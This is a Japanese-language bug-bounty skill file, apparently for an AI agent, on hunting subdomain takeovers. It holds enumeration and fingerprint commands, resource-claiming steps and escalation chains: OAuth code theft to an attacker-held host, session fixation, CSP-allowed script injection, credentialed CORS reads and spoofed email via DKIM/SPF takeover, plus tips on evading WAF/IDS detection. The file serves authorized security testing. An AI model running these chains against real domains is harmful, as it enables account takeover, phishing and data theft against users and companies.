hunt-subdomain

最重要の標的

サブドメインテイクオーバーは高い価値があります。攻撃者が企業所有の信頼できるドメインからコンテンツを配信できるため、ブラウザーの同一オリジンに対する信頼、フィッシングフィルター、ユーザーの警戒心を同時に回避できるからです。

特に高額な報奨金が期待できる状況：

• 大手 SaaS ブランド（Shopify、Snapchat、Mozilla、Yelp）のサブドメインで、信頼できるドメインにユーザーのセッション情報が関連付けられている場合
• CNAME が未登録のオリジンを指している、CDN を利用したサブドメイン（Fastly、CloudFront）
• サードパーティサービスとの連携：UserVoice、WordPress.com、GitHub Pages、GitLab Pages、Heroku、Zendesk
• プレビュー／ステージング／開発用サブドメイン（new.、preview.、course.、delivery.、addons-preview.）— 機能公開後に放置されているもの
• OAuth リダイレクト URI や SSO エンドポイントに使われるサブドメイン — これらは最高額の報奨金が期待できます

特に重要なアセットの種類：

• 廃止されたサードパーティサービスを指す CNAME レコード
• 放置されたゾーンへの NS 委任
• 割り当てられていないクラウド IP を指す A レコード（比較的まれ）
• 未登録のプロジェクト名前空間がある GitLab/GitHub Pages

---

攻撃対象領域の兆候

DNS の兆候：

• *.github.io、*.gitlab.io、*.fastly.net、*.herokudns.com、*.wordpress.com、*.uservoice.com、*.zendesk.com、*.s3.amazonaws.com、*.azurewebsites.net、*.netlify.app を指す CNAME
• 親レコードは残っているのに、CNAME の参照先が NXDOMAIN または SERVFAIL を返す
• ゾーンが登録されていないレジストラへ委任する NS レコード

HTTP レスポンスの兆候：

• "There isn't a GitHub Pages site here"
• "NoSuchBucket"（S3）
• "The specified bucket does not exist"
• "No such app"（Heroku）
• "Sorry, this shop is currently unavailable"（Shopify）
• "This UserVoice subdomain is available"
• "Do you want to register"（あらゆるドメインパーキングページ）
• プロバイダー固有のエラーテンプレートを伴う HTTP 404
• Fastly：「"Fastly error: unknown domain"」
• "404 Web Site not found"（Azure App Service）

技術スタックの兆候：

• レスポンスヘッダー：X-Served-By: cache-*（Fastly）、X-GitHub-Request-Id、Server: Netlify
• CNAME チェーンがプロバイダーのインフラストラクチャに解決されるものの、プロバイダーの 404 を返す
• SSL 証明書が企業ドメインではなく、プロバイダーのワイルドカード（*.fastly.net）に対して発行されている

---

手順に沿った調査方法

1. パッシブおよびアクティブな情報源を使って、対象のすべてのサブドメインを列挙します。

   • subfinder -d target.com -all
   • amass enum -passive -d target.com
   • assetfinder --subs-only target.com
   • Certificate Transparency：crt.sh/?q=%.target.com

2. すべてのサブドメインを名前解決し、次のものに印を付けます。

   • NXDOMAIN の応答
   • サードパーティプロバイダーを指す CNAME

   cat subdomains.txt | dnsx -a -cname -o resolved.txt
   

3. nuclei または subjack を使って、CNAME を既知の脆弱なプロバイダーのフィンガープリントと照合します。

   subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c fingerprints.json
   nuclei -l subdomains.txt -t takeovers/
   

4. 印を付けたサブドメインをそれぞれ手動で確認します。

   • dig CNAME subdomain.target.com — CNAME が存在することを確認します
   • dig A <cname-target> — NXDOMAIN または名前解決できないことを確認します
   • curl --max-time 30 --connect-timeout 10 -sk https://subdomain.target.com — プロバイダーのエラー文字列が表示されるか確認します

5. リソースを取得可能か確認します。リソースの登録を試みます。

   • GitHub Pages：<username>.github.io/<repo> または組織ページが未取得か確認します
   • GitLab Pages：プロジェクトの名前空間を確認します
   • S3：aws s3api create-bucket --bucket <bucketname> を試します
   • UserVoice／Zendesk／WordPress：登録 URL にアクセスします
   • Fastly：オリジンのホスト名が未登録か確認します

6. リソースを取得します（管理権限を証明できる範囲にとどめ、悪意のあるコンテンツは配信しないでください）。

   • HackerOne のユーザー名とタイムスタンプを記載した最小限のインデックスページを作成します
   • subdomain.target.com で自分のコンテンツが配信されていることを示すスクリーンショットを撮影します

7. 一連の流れを記録します：CNAME レコード → プロバイダーのターゲット → 未取得のリソース → 自分のコンテンツ

8. 影響の拡大可能性を評価します。

   • サブドメインは OAuth リダイレクト許可リストに含まれていますか？
   • 親ドメイン（domain=.target.com）と Cookie を共有していますか？
   • アプリの CSP で参照されていますか？
   • 認証済みの API 呼び出しを受け取ることができますか？

9. リソースを手放す前にレポートを作成します（一部のプログラムでは、先に確認を行う必要があります）。

---

ペイロードと検出パターン

CNAME の一括抽出と NXDOMAIN の検出：

# Extract CNAMEs and check if target resolves
while read sub; do
  cname=$(dig +short CNAME "$sub" | head -1)
  if [ -n "$cname" ]; then
    result=$(dig +short A "$cname")
    if [ -z "$result" ]; then
      echo "[POTENTIAL] $sub -> $cname (NXDOMAIN)"
    fi
  fi
done < subdomains.txt

Nuclei によるテイクオーバースキャン：

nuclei -l subdomains.txt -t ~/nuclei-templates/http/takeovers/ -severity medium,high,critical

SSL を使用した subjack：

subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c $GOPATH/src/github.com/haccer/subjack/fingerprints.json -v

プロバイダーのフィンガープリントを検索する grep パターン：

curl --max-time 30 --connect-timeout 10 -sk "https://$subdomain" | grep -iE \
  "there isn't a github pages|no such bucket|no such app|this uservoice|fastly error: unknown domain|do you want to register|sorry, this shop|project not found|404 not found|unclaimed"

サブドメインが Cookie の対象範囲（共有する親ドメイン）に含まれているか確認：

curl --max-time 30 --connect-timeout 10 -Isk "https://target.com" | grep -i "set-cookie" | grep "domain=.target.com"

Fastly 固有の検出：

curl --max-time 30 --connect-timeout 10 -sI "https://subdomain.target.com" -H "Host: subdomain.target.com" | grep -i "fastly\|x-served-by\|x-cache"
curl --max-time 30 --connect-timeout 10 -sk "https://subdomain.target.com" | grep -i "fastly error"

未取得の S3 バケットの確認：

aws s3api head-bucket --bucket <extracted-bucket-name> 2>&1 | grep -i "NoSuchBucket\|403\|404"

GitLab Pages 固有の確認：

dig CNAME sub.target.com
# If pointing to *.gitlab.io — visit the gitlab.io URL directly
# 404 from gitlab.io project = claimable

---

よくある根本原因

1. DNS を整理せずにサービスを終了する — 開発者が Heroku アプリ、UserVoice アカウント、または WordPress サイトを削除しても、CNAME レコードを削除しないことがあります。DNS レコードは残り続けますが、サービスは残りません。

2. ローンチ後にステージング／プレビュー用インフラが放置される — 製品ローンチに合わせて用意された course.、new.、preview.、beta. などのサブドメインがサードパーティを参照し、キャンペーン終了後に忘れ去られます。

3. サードパーティのチームがサブドメインを用意する — マーケティング部門が IT 部門を通じて UserVoice または Zendesk のサブドメインを設定し、製品の提供終了によってそのサブドメインが不要になっても、DNS を管理するエンジニアリング部門がそのことを把握していない場合があります。

4. オリジン検証を行わない CDN の設定ミス — Fastly などの CDN では、歴史的に、任意のドメインからそのホスト名を指すサービスを作成することで、バックエンドのホスト名を「取得」できる場合がありました。未登録のオリジンホスト名が取得可能になります。

5. GitHub／GitLab Pages の名前空間が予約されていない — 組織名の変更、ユーザーアカウントの削除、またはリポジトリの非公開化／削除が行われても、Pages の CNAME が古い名前空間を参照したままになっていることがあります。

6. ワイルドカード DNS エントリ — *.target.com がクラウドプロバイダーを指している場合、未取得のサブドメインが取得可能なインフラに解決される可能性があります。

7. 買収／売却した企業の DNS が整理されていない — 買収後も、旧ブランドのサブドメイン（Shopify 傘下の oberlo.com など）が、料金の支払いを停止したサービスを指す CNAME を保持していることがあります。

---

バイパス手法

防御：公開前にフィンガープリントを手動で確認する

• バイパス：別のエラー文字列を使います。プロバイダーは404ページを変更します。フィンガープリントの一覧を最新の状態に保ってください。HTTPとHTTPSで異なるエラーを表示するプロバイダーもあります。両方をテストしてください。

防御：対象範囲の制限（メインドメインのみが対象）

• バイパス：プログラムのアセット一覧を注意深く確認してください。*.target.com のワイルドカードには、サブドメインが暗黙的に含まれることがよくあります。影響を示して対象範囲に含めてもらいましょう。

防御：タイミングが原因で「再現できない」と回答される

• バイパス：申告後すぐにスクリーンショットを撮影してください。手順を動画で記録しましょう。人気のあるサブドメインでは、対応できる時間が短い場合があります。

防御：HTTPS証明書の不一致により、証明の提示が妨げられる

• バイパス：一部のプロバイダー（GitHub Pages、Netlifyなど）は、申告されたドメインに対してTLSを自動的に設定します。他のプロバイダーでは設定されません。HTTPでのテイクオーバーを示し、申告後にプロバイダー側でTLSの問題が解決されることを記載してください。

防御：プロバイダー側の検証（Fastlyによるドメイン所有権の確認）

• バイパス：Fastlyの構成によっては、オリジンのホスト名が検証されません。CNAMEの転送先が汎用のFastlyバックエンドホスト名か、顧客の所有権が確認済みのものかを確認してください。いずれにせよ、取得を試みて挙動を確認してください。

防御：サブドメイン列挙に対するレート制限

• バイパス：WAF/IDSの検知を避けるため、SecurityTrails、Shodan、crt.sh、VirusTotalなどの受動的な情報源のみを使用してください。DNSの名前解決でWebサーバーに接続することはありません。

防御：プログラムが「深刻度が低い／影響なし」と主張する

• バイパス：同一オリジンのCookie窃取、OAuthリダイレクトの悪用、またはCSPバイパスを実証し、深刻度を引き上げましょう。JS内で、サブドメインがpostMessageのtargetOriginチェックに記載されていないか確認してください。

---

ゲート0の検証

1. 攻撃者は今すぐ何ができますか？ 未取得のリソース（GitHubリポジトリ、S3バケット、Herokuアプリ、UserVoiceアカウント）を登録して、フィッシングページ、認証情報窃取ページ、悪意のあるスクリプトなど、任意のコンテンツを対象の信頼されたドメイン名で配信できますか？

2. 被害者は何を失いますか？ ユーザーは信頼と安全を損ないます。企業のブランドが付いたURLで、攻撃者のコンテンツが表示されるためです。企業はブランドの信頼性を損ない、サブドメインがdomain=.target.comのスコープに含まれている場合はセッションCookieが漏えいする可能性があり、OAuth/SSOフローが乗っ取られるおそれもあります。CSPの設定によっては、メインアプリケーションに対するXSSが可能な場合があります。

3. ゼロから10分以内に再現できますか？

   • dig CNAME subdomain.target.com → プロバイダーへのCNAMEを確認
   • curl --max-time 30 --connect-timeout 10 -sk https://subdomain.target.com → プロバイダーのエラー文字列を確認
   • プロバイダーの登録ページにアクセス → 名前空間が利用可能であることを確認
   • 3つの手順すべてのスクリーンショットを撮影すれば、10分以内に再現できます

プロバイダーのリソースが現在未取得で、取得可能であることを示せない場合、有効な報告ではありません。

---

実際の被害例

シナリオ A — 放棄された SaaS を経由した信頼できるブランドのフィッシング（Snapchat/UserVoice） 攻撃者が、feedback.snapchat.com の CNAME が UserVoice のサブドメインを指していることを発見します。UserVoice のアカウントは解約されていましたが、DNS レコードは残っていました。攻撃者は対応する UserVoice のサブドメインを無料で登録し、feedback.snapchat.com を制御できるようになります。古いブックマークや Google の検索結果などからこの URL にアクセスしたユーザーには、Snapchat ブランドのドメイン上に攻撃者が管理するコンテンツが表示されます。ブラウザーから信頼されているドメインであるため、このサブドメインから送信されるフィッシングキャンペーンは、ドメインの評判を確認するメールセキュリティフィルターを回避します。

シナリオ B — CDN オリジンの乗っ取りによる同一オリジン攻撃（Mozilla/Fastly） addons-preview-cdn.mozilla.net の CNAME は、Mozilla の Fastly アカウントに登録されていない Fastly オリジンのホスト名を指していました。攻撃者はそのオリジンのホスト名を申告して Fastly サービスを作成でき、addons-preview-cdn.mozilla.net へのすべてのリクエストが、攻撃者の管理する Fastly インフラストラクチャに転送される可能性がありました。このサブドメインは mozilla.net ドメインを共有しているため、Mozilla のインフラストラクチャから配信されているように見える悪意ある CDN アセットを配信するのに悪用でき、*.mozilla.net を許可リストに登録している CSP ルールを回避できる可能性があります。

シナリオ C — 製品移行後に放棄されたステージング用サブドメイン（Rails/GitHub Pages） new.rubyonrails.org は、ウェブサイトのリニューアルプロジェクト用に GitHub Pages のデプロイメントを指していました。新しいサイトの公開後、古い GitHub リポジトリが削除または非公開にされても、DNS の CNAME は残ったままでした。攻撃者は対応する GitHub Pages リポジトリをフォークまたは作成してその名前空間を取得し、new.rubyonrails.org 上でコンテンツを配信できました。これは Ruby on Rails の公式ドメインであるため、偽のダウンロードリンクや悪意ある gem を含む、そこで配信されるあらゆるコンテンツが Rails ブランドの全面的な信頼を帯びます。

---

公開済みレポートの引用（2022-2023）

以下の協調的な開示／報告事例では、最新のプロバイダーフィンガープリント（Vercel／Azure cloudapp／Zendesk 時代）と、明示的な ATO チェーンの例を用いて、このスキルを拡張します。引用 #12 と #13 は外部の報告記事（公開済み HackerOne レポートではありません）です。報奨金額は未検証として扱ってください。公開 H1 レポート ID があるのは #14 のみです。

12. Microsoft Azure DevOps — 2 つの cloudapp.azure.com サブドメイン + ワイルドカード *.visualstudio.com OAuth reply_to → 1 クリック ATO（Binary Security の報告記事）

    • サブクラス：Azure の cloudapp.azure.com リージョナルプールにおけるダングリング CNAME — ATO につながる
    • ATO チェーン：あり — app.vssps.visualstudio.com/_signin?reply_to=https://feedsprodwcus0dr.feeds.visualstudio.com/ は任意の *.visualstudio.com を許可リストに登録していました。攻撃者はダングリング状態の Azure VM ホスト名を取得し、攻撃者が管理するエンドポイントに JWT + FedAuth トークンを返すサインイン URL を作成しました
    • 取得フロー：ダングリング状態の cloudapp.azure.com CNAME を特定し、同じ Azure リージョンに無料枠の VM をデプロイして、解放されたホスト名を正確に指定します。Azure は先着順でその名前を再発行します
    • 年：2021 年 2 月に報告、2022 年 11 月に開示 — MSRC はサブドメイン乗っ取りに依存していたため、明確に対象範囲外と判断。$0

13. 匿名の H1 — admin-support.xyz.com → 未登録の Zendesk → メール傍受 → ATO（0xprial による報告記事）

    • サブクラス：xyzdocs.zendesk.com のホストマッピングを介した Zendesk ヘルプデスクの乗っ取り
    • ATO チェーン：あり — 研究者は乗っ取った Zendesk インスタンスでメール転送を設定し、支払い情報とパスワードリセットメールを含む [email protected] 宛てのチケットを傍受しました。その後、顧客アカウントのパスワードリセットを実行し、リセットリンクを攻撃者の Zendesk 受信箱に配信させました
    • 取得フロー：dig CNAME の結果が xyzdocs.zendesk.com（未登録）→ 無料の Zendesk トライアルに登録 → xyzdocs をサブドメインとして追加 → admin-support.xyz.com のホストマッピングを有効化
    • 年：2023 年 — 0xprial の報告記事に記載された報奨金（ブログが情報源。公開 HackerOne レポート ID はなく、未検証として扱ってください）

14. Vercel の削除済みプロジェクトの乗っ取り — 削除された Vercel プロジェクトを指すダングリング状態の cname.vercel-dns.com CNAME は、その名前で新しいプロジェクトをデプロイすることで再取得できます。

    • サブクラス：プロジェクト削除後の Vercel ダングリング CNAME（cname.vercel-dns.com）
    • 影響：暗号資産 DEX へのフィッシング — proxies. サブドメインは RPC プロキシのルーティングで信頼されていました。攻撃者は「信頼された」サブドメイン上で、ウォレットの資金を抜き取る悪意のある JS を配信できました
    • 取得フロー：サブドメインが Vercel 404 DEPLOYMENT_NOT_FOUND を返す → 無料の Vercel プロジェクトを作成 → Settings → Domains → proxies.sifchain.finance を追加 — Vercel は既存の CNAME を検証し、帯域外の所有権証明なしで TLS を自動発行します
    • 年：2022 年 — Sifchain はこれを重大（web3 フィッシングベクトル）として扱いました

Fastly CDN のダングリングサービス手法（一般論。単一の公開済みレポートではありません）：

• フィンガープリント：サブドメインが Fastly error: unknown domain. Please check that this domain has been added to a service を返す
• 取得フロー：Fastly の無料トライアルに登録 → 新しい CDN サービスを作成 → ダングリング状態のホスト名をサービスドメインとして追加
• 根本原因：Fastly は従来、サービス作成時に CNAME の所有権を検証していません。Fastly のエニーキャストを指す CNAME は、どれでも新しいサービスに紐付けられます
• ATO チェーンの可能性：親ドメインが assets.／CDN ホストを script-src で信頼している場合、CSP バイパス + JS インジェクションにつながります

---

チェーンと組み合わせ（上級者向けハンティング）

サブドメインの乗っ取り単体は、成熟したプログラムの大半では低〜中程度／情報提供レベルです。ビジネス上重要ではないサブドメインの改ざんには魅力がありません。チェーンでの報奨金は単体の 10〜100 倍です。**すべての乗っ取りについて、提出前に以下の 5 つのチェーンに当てはまるか評価してください。**どれも当てはまらなければ低、1 つ当てはまれば高、2 つが組み合わされば重大です。

チェーン 1 — テイクオーバー + OAuth redirect_uri の許可リスト → 認証コードの窃取 → ワンクリック ATO

• A. /oauth/authorize フローを介して OAuth の redirect_uri 許可リストを列挙します。*.target.com などのワイルドカードや、静的リストに含まれるテイクオーバー候補のホスト名（例：feedsprod.feeds.visualstudio.com、legacy.target.com）を探します。
• B. 許可リスト内でテイクオーバー可能なサブドメインを見つけます。プロバイダーのオンボーディング手順を使って取得します（Vercel プロジェクト、Azure の cloudapp リージョナルプール、S3 バケット、Heroku アプリ、Zendesk、Shopify ストアフロント — 上記の開示済みレポートの引用を参照）。
• C. 取得したサブドメインに OAuth コールバック受信エンドポイントをホストします。被害者を /oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&client_id=<legit> に誘導します。被害者のブラウザーにはすでにセッションがあるため、認証は透過的に行われ、認証コードが攻撃者のホストに届きます。トークンエンドポイントを介して交換すれば、ATO が成立します。
• 影響： 対象のすべてのユーザーに対する、持続的なワンクリック ATO です。OAuth フローはユーザーに気付かれずに進み（以前に同意していれば同意画面が表示されないため）、攻撃者のリンクを 1 回クリックさせるだけで実行できます。
• 実例： Microsoft Azure DevOps の cloudapp.azure.com とワイルドカード *.visualstudio.com の reply_to チェーン（Binary Security、2022 年 11 月 — 開示済みレポートの引用 #12）。許容範囲の広い OAuth 許可リストを持つ SaaS プログラムで、H1 への報告が複数あります。

チェーン 2 — 隣接サブドメインのテイクオーバー + Cookie ドメインのワイルドカード → 親アプリでのセッション固定

• A. メインアプリ（app.target.com）が設定する Cookie を調べます。Set-Cookie にホスト限定ではなく、親ドメインをスコープとする Domain=.target.com が指定されている場合、Cookie は乗っ取り済みのものも含むすべての隣接サブドメインに漏えいします。
• B. 任意の隣接サブドメイン（legacy.target.com、feedback.target.com、assets.target.com）をテイクオーバーします。これにより、取得したホストから親ドメイン向けの Set-Cookie を設定できるようになります。
• C. 取得したホスト上のスクリプトから、Set-Cookie: SESSIONID=<attacker_session>; Domain=.target.com を仕込みます。被害者が攻撃者のセッション Cookie を付けた状態で app.target.com にアクセスすると、サーバーは被害者を攻撃者のアカウントとして扱い、セッション固定による ATO が成立します。
• 影響： OAuth もパスワードリセットも不要な ATO です。Cookie ドメインの漏えいだけで成立します。親アプリが __Host- プレフィックスのないセッション Cookie を使っている場合、特に効果的です。
• 実例： hunt-auth-bypass の Duende BFF 攻撃クラス 2 で詳しく解説されています（Cookie ドメインのワイルドカード化により、サブドメインのテイクオーバーがセッション固定につながります）。このパターンの分類：S3 バケットのテイクオーバーと、親ドメインをスコープとする（Domain=.target.com）Cookie の組み合わせです。

チェーン 3 — テイクオーバー + CSP の script-src に取得したホストが含まれる → メインアプリでの永続的な格納型 XSS

• A. メインアプリの HTML レスポンスにある CSP ヘッダーを調べます。script-src 'self' assets.target.com cdn.target.com legacy.target.com ... のような記述を探します。
• B. CSP の許可リストに含まれるサブドメインを 1 つテイクオーバーします（特によくあるのは、削除済み CDN、削除済み Vercel／Netlify プロジェクト、アーカイブされた分析サービスを指す古い CNAME です）。
• C. テイクオーバーしたホストに、攻撃者が制御する JavaScript をホストします。そのホストは CSP の許可リストにあるため、メインアプリのすべてのページ読み込みで <script src="//taken-over-host/x.js"> が取得されます。JavaScript はメインアプリのオリジンで実行され、セッションへの完全なアクセスが可能になり、同一オリジンの任意の API を呼び出せます。
• 影響： メインアプリのすべてのページで格納型 XSS と同等の状態が、CSP が更新されるまで持続します。JavaScript のソースは CSP によって「信頼済み」とされるため、あらゆる入力サニタイザーを回避します。
• 実例： Sifchain の proxies.sifchain.finance における Vercel テイクオーバー — 開示済みレポートの引用 #14（web3 フィッシング）。このパターンは、2020〜2024 年の H1 への複数の報告で文書化されています。

Chain 4 — テイクオーバー + CORS の Access-Control-Allow-Origin 正規表現マッチ → 認証情報付きクロスオリジン API 読み取り

• A. API の CORS 設定を調査します。Access-Control-Allow-Origin に *.target.com または target.com.*（後者はよくあるバグ）を含む正規表現／ワイルドカード／サフィックスマッチがないか確認します。
• B. CORS の正規表現で許可されるサブドメインをテイクオーバーするか、サフィックスマッチに不備がある場合は新しい target.com.attacker.com ホストを登録します。
• C. テイクオーバーしたサブドメインにホストされた攻撃者のページから、fetch('https://api.target.com/account', {credentials:'include'}) を実行します。CORS のプリフライトは通過し、サーバーは認証情報付きのレスポンスを返します。攻撃者の JS がその内容を読み取ります。
• 影響： 認証情報を使った、複数テナントにまたがる大規模な API 読み取りが可能になります。セッション、PAT、アカウントデータ、請求記録などに、攻撃者のページひとつからアクセスできます。
• 実際の事例の傾向： 複数の開示事例があります。hunt-api-misconfig の CORS サブセクションを参照してください。hunt-misc の手順 1（CORS 正規表現の列挙）と組み合わせます。

Chain 5 — メール DNS（DKIM / SPF / MX）のテイクオーバー → メールのなりすまし → 親ブランドの信頼を悪用したフィッシング

• A. 対象のメール DNS を列挙します。DKIM セレクター（selector1._domainkey.target.com）、SPF の include（include:_spf.takeover-candidate.com）、MX レコード（mx.target.com → defunct-provider.example）を確認します。
• B. DKIM セレクターまたは SPF include のホストをテイクオーバーします。これにより攻撃者は、@target.com を差出人とするメールを自分のサーバーから送信できるよう認可する DKIM / SPF レコードを公開できます。
• C. 被害者に From: [email protected] のフィッシングメールを送信します。テイクオーバーしたサーバーが認可されたため、受信者のメールサーバーは SPF と DKIM のチェックを通過させます。メールは target.com ブランドをまとい、セキュリティ警告も表示されずに受信トレイに届きます。
• 影響： 親ブランドの信頼を悪用する、非常に効果的なフィッシングキャンペーンが可能になります。認証チェックがすべて通過するため、被害者はメールを信頼します。認証情報の窃取、BEC 詐欺、サプライチェーンへのアクセスにつながります。
• 実際の事例の傾向： DKIM セレクターのテイクオーバーや SPF include チェーンの乗っ取りに関する過去の開示事例が複数あります。offensive-osint の DMARC / SPF / DKIM セクションを参照してください。

オペレーター向けのパターン

上記の 5 つのチェーンで、実際にはほぼすべての上級レベルのサブドメインテイクオーバー報奨金事例を網羅できます。テイクオーバーを報告する前に、次のチェックリストを確認してください。

1. OAuth の redirect_uri 許可リスト — テイクオーバーしたホストが含まれていますか？→ Chain 1、Critical。
2. 親ドメインの Cookie — メインアプリは Domain=.target.com を設定していますか？→ Chain 2、High。
3. CSP の script-src — テイクオーバーしたホストが許可リストに含まれていますか？→ Chain 3、Critical。
4. CORS 許可リスト — テイクオーバーしたホストに一致する正規表現がありますか？→ Chain 4、High。
5. メール DNS（DKIM セレクター / SPF include） — テイクオーバーしたホストが含まれていますか？→ Chain 5、High。

どれにも該当しない場合は、Low / Informational で報告してください。これらのチェーンのいずれかを実証せずに Critical で報告しないでください。そうしないと、トリアージ担当者にすぐに格下げされます。

相互参照：

• hunt-oauth — Chain 1（redirect_uri バイパスクラス）
• hunt-auth-bypass Duende BFF Attack Class 2 — Chain 2（Cookie のスコープ設定）
• hunt-xss Chain 4 — Chain 3（信頼済みオリジンの JS を利用した CSP バイパス）
• hunt-api-misconfig CORS セクション — Chain 4
• offensive-osint メールセキュリティセクション — Chain 5

---

検証

このセルフテストを実行して、サブドメインの調査準備が整っていることを確認します。

1. スキルの整合性 — スキルファイルが読み取り可能で、形式が正しいことを確認します。

   grep -q "name: hunt-subdomain" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
   grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
   

2. カテゴリの確認 — スキルにカテゴリがあることを確認します。

   grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
   

3. 落とし穴のセクション — 落とし穴が記載されていることを確認します。

   grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
   

3 つのテストすべてで、スキルが適切に構成され、使用準備が整っていることを確認できます。

---

落とし穴

• 検証を伴わないサブドメイン列挙 — DNS 解決で存在は確認できます。稼働中のウェブサービスであることを確認するには、HTTP プローブが必要です。
• 対象範囲におけるサードパーティサービスの混同 — Zendesk、Shopify、statuspage.io を指すサブドメインは、通常、対象範囲外です。所有者を確認してください。
• 古い DNS レコード — デッド IP やパーキングページに解決されるサブドメインは、情報提供にとどまります。稼働中のサービスが必要です。
• ワイルドカード DNS — *.target.com が同じ IP に解決されると、実際のサブドメインが隠れてしまいます。列挙の網羅性を主張する前に、ワイルドカードの有無をテストしてください。
• 申請を伴わないサブドメインテイクオーバー — 孤立した CNAME は、テイクオーバーの可能性を示します。実際にリソースを取得するか、取得可能であることを実証する必要があります。

---

関連スキルと連鎖

• hunt-cloud-misconfig — 古い CNAME の多くは、削除済みのクラウドアセット（S3、CloudFront、Heroku）を指しています。連鎖のプリミティブ：クラウド設定ミス（S3 の削除）＋ hunt-subdomain → 未取得の CNAME がバケットを指す → バケット名を取得 → サブドメインを完全に制御。
• hunt-oauth — OAuth の redirect_uri ホストをテイクオーバーすると、SSO 全体にわたる永続的な ATO につながります。連鎖のプリミティブ：auth.target.com のサブドメインテイクオーバー＋OAuth の redirect_uri 許可リスト → 認可コードの窃取 → 再認証するすべてのユーザーの ATO。
• hunt-api-misconfig — CORS の正規表現では、テイクオーバー可能なサブドメインが許可リストに含まれていることがよくあります。連鎖のプリミティブ：サブドメインテイクオーバー＋認証情報を許可する CORS の *.target.com → 認証情報付きのクロスオリジン API 読み取り → 大規模な IDOR。
• hunt-xss — 取得したサブドメインは、セッション Cookie ドメインを共有する兄弟ドメインと同一オリジンになります。連鎖のプリミティブ：feedback.target.com のサブドメインテイクオーバー＋Cookie スコープ .target.com → テイクオーバーしたホストでホストされた JS がメインアプリの Cookie を読み取る → セッションハイジャック。
• security-arsenal — 27 件以上のサブドメインテイクオーバーのフィンガープリント表（NoSuchBucket、「no such app」、GitHub Pages の 404 文字列、Heroku、Shopify、Fastly）と、subzy／subjack の自動化パターンを読み込みます。
• triage-validation — Unique-Marker ゲートを適用します。テイクオーバーの申請だけでは情報提供にとどまります。取得したホストに一意の HTML マーカーを公開し、さらに下流への影響（Cookie の読み取り、OAuth の連鎖、CSP のバイパス）を実証してから提出してください。